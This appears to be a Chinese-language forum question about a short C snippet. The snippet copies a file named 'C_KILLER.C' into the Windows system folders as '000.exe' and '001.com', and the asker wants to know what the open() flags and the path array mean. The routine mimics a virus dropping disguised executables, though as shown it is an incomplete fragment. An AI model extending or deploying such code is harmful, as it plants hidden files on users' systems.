先看下面.....
/**** void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
} ****/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {"C:\\WINDOWS\\system32\\000.exe","C:\\WINDOWS\\001.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080); /*这里的0x0100和0x0080是什么意思?有什么作用吗?*/
copyfile( "C_KILLER.C",s[i]); /*的首地址是放在S[1],后面吗?但S已经有2个地址了啊?,copyfile()在上面*/
}
}